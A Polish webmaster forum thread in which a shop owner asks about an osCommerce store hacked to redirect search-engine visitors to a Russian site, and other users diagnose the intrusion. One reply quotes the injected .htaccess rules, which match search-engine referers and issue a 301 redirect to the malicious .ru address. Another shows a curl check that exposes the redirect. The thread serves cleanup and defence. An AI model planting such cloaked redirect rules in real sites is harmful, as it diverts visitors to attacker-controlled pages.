Bardzo dziwny wirus

[Pozycjoner.pro]

Jeden z moich sklepów oparty na os commerce złapał wirusa.

Po wejściu na stronę z wyszukiwarki, jest automatycznie przekierowywany na stronę rosyjską.

Znalazłem w plikach php dziwny kod, skasowałem, ale problem nadal występuje.

Co ciekawe skasowałem plik index.php i htaccess, a to dziwne przekierowanie nadal przy wejściu z wyszukiwarki

występuje. Mam serwer w nazwa.pl.

Macie jakiś pomysł gdzie on może się ukrywać ?

Mam pisać do nazwy ?

[Mion]

Podaj adres.

[Irek]

Sprawdź dokładnie zawartość pliku .htaccess.

Prawdopodobnie masz podmienioną zawartość pliku cookie_usage.php.

Szukaj w katalogu /images pliku .php , ten do skasowania.

Nie musi być dokładnie tak jak napisałem, wtedy musisz przejrzeć wszystkie pliki i katalogi.

Kiedy się tego pozbędziesz poszukaj w Google jak zabezpieczyć sklep. Dobrze by też było za pomocą .htaccess zablokować wejście do katalogu /admin innym IP niż używane przez ciebie.

[Pozycjoner.pro]

Ok, jutro w pracy wszystko sprawdzę.

A czy może być koniecznie skasowanie cache serwera przez firmę hostingową, czy raczej tam wirus nie ma dostępu ?

[tomekf]

Może używasz starego klienta FTP, dzięki któremu zostały wykradzione hasła potrzebne do zalogowania się?

[Irek]

To nie tyle wirus, co włamanie poprzez dziurę w skrypcie. Dzięki tej dziurze można wgrać na serwer plik .php i dzięki niemu mieć dostęp do całego serwera np. https://img23.imageshack.us/img23/6879/zrzut1359.png

Wtedy można robić co się komu podoba.

[Mion]

Jeśli pobierzemy index.php np CURL'em z domeny o jakiej amstrad pisze i ustawimy referrer na

curl_setopt($ch,CURLOPT_REFERER,'https://www.bing.com/search?q=site%3Aksprawdzanyadresit.pl&src=IE-SearchBox&FORM=IE8SRC');

ma ustawione na żywca 301

HTTP/1.1 301 Moved Permanently Date: Wed, 29 Dec 2010 21:07:07 GMT Content-Type: text/html; charset=iso-8859-1 Connection: keep-alive Location: https://juliforsti.ru/in.cgi?7 Content-Length: 237 Server: Apache/2

Moved Permanently

The document has moved here.

[Irek]

W .htaccess można znaleźć coś takiego

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]

...

RewriteRule ^(.*)$ https://juliforsti.ru/in.cgi?7 [R=301,L]

[Pozycjoner.pro]

Dzięki za pomoc, już wiem co i jak poprawić